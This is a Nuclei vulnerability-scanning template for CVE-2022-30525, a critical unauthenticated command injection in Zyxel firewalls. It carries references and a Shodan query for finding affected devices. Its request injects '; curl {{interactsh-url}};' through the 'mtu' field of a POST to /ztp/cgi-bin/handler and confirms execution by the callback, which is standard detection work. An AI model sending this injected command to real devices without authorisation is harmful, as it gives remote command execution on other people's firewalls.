nuclei-templates/cves/2022/CVE-2022-30525.yaml

44 lines
2.0 KiB
YAML
Raw Normal View History

2022-05-13 02:52:42 +00:00
id: CVE-2022-30525
info:
name: Zyxel Firewall - OS Command Injection
2022-05-13 08:46:09 +00:00
author: h1ei1,prajiteshsingh
2022-05-13 02:52:42 +00:00
severity: critical
2022-05-13 08:46:09 +00:00
description: |
An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
2022-05-13 02:52:42 +00:00
reference:
2022-05-13 08:46:09 +00:00
- https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
- https://github.com/rapid7/metasploit-framework/pull/16563
- https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
- https://nvd.nist.gov/vuln/detail/CVE-2022-30525
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-30525
cwe-id: CWE-78
metadata:
shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
tags: zyxel,cve,cve2022,firewall,unauth,kev,msf,rce
2022-05-13 02:52:42 +00:00
requests:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
2022-05-13 08:46:09 +00:00
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
2022-05-13 02:52:42 +00:00
2022-05-13 08:46:09 +00:00
matchers-condition: and
2022-05-13 02:52:42 +00:00
matchers:
- type: word
part: interactsh_protocol
words:
2022-05-13 08:46:09 +00:00
- "http"
- type: status
status:
- 500
# Enhanced by mp on 2022/05/19